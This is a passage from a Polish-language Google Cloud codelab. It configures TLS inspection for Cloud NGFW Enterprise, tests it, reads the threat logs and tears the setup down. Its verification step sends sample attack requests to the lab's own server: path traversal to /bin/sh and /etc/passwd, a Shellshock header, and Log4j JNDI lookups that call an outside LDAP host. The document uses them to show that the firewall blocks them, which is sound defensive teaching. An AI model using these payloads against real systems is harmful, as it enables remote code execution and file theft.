name: "ngfw-enterprise-trust-config" trustStores: - trustAnchors: - pemCertificate: | -----BEGIN CERTIFICATE----- ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRS -----END CERTIFICATE-----
Importowanie konfiguracji zaufania:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
Zaktualizuj plik YAML zasad TLS, aby uwzględnić konfigurację zaufania:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
Zaimportuj zaktualizowaną zasadę TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. Weryfikowanie inspekcji TLS wschodnio-zachodniej
Połącz się z klientami przez SSH, aby przetestować ruch E/W z aktualną konfiguracją zaufania:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Uruchom przykładowe żądanie TLS do serwera:
curl https://$target_privateip --max-time 2
Jeśli nadal widzisz ten sam wynik, zaczekaj, aż zmiany zostaną rozpowszechnione.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Oczekiwany wynik:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
Wysyłanie na serwer złośliwego ruchu testowego:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Oczekiwany wynik:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Nie otrzymano żadnych odpowiedzi zgodnie z oczekiwanym wynikiem podanym poniżej, co potwierdza, że przykładowe ataki są teraz blokowane w przypadku E/W.
13. Logowanie
W konsoli Google Cloud otwórz Logowanie > Eksplorator logów, wpisz filtr podany poniżej i przeprowadź zapytanie dotyczące logów. Zastąp [PROJECT_ID] identyfikatorem projektu:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Wpisy w logach Cloud NGFW Enterprise powinny wyglądać tak:
Rozwiń wpisy w dzienniku i zwróć uwagę, że ataki wysłane z klienta VM do serwera zostały wykryte i zablokowane (luka w zabezpieczeniach Apache Log4j umożliwiająca zdalne wykonywanie kodu, jak widać na zrzucie ekranu poniżej).
Udało Ci się wdrożyć Cloud NGFW Enterprise z funkcją TLS Inspection, aby blokować złośliwe żądania.
Aby dowiedzieć się, jak usunąć dane, przejdź do następnej sekcji.
14. Czyszczenie
Czyszczenie podstawowej konfiguracji
Usuń instancje:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
if role tagAdmin i tagUsers zostały zmienione:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Usuń klucz i wartości znacznika:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Usuń zasadę sieciową zapory Cloud Firewall i powiązanie:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Usuń Cloud Router i Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Usuń zarezerwowane adresy IP:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Cloud Firewall SPG, Association i TLS Clean-Up
Usuń grupę profili zabezpieczeń i profil zagrożeń w tej kolejności:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Usuń powiązanie punktu końcowego zapory Cloud Firewall:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Usuń punkt końcowy zapory Cloud Firewall. Może to potrwać około 20 minut:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
Opcjonalnie sprawdź, czy punkt końcowy Cloud NGFW został usunięty. W tym celu uruchom to polecenie:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Stan punktu końcowego powinien zawierać:
STATE: DELETING
Po zakończeniu procesu punkt końcowy nie będzie już widoczny na liście.
Usuń zasady TLS i konfigurację zaufania w tej kolejności:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
Wyłącz i usuń główny urząd certyfikacji oraz pulę urzędów certyfikacji:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Oczyszczanie pod sieci i sieci VPC
Na koniec usuń podsieć i sieć VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
15. Gratulacje!
Gratulacje! Ukończyłeś/ukończyłaś pracę z codelab Cloud NGFW Enterprise do inspekcji TLS w kierunku wschodnim i północnym.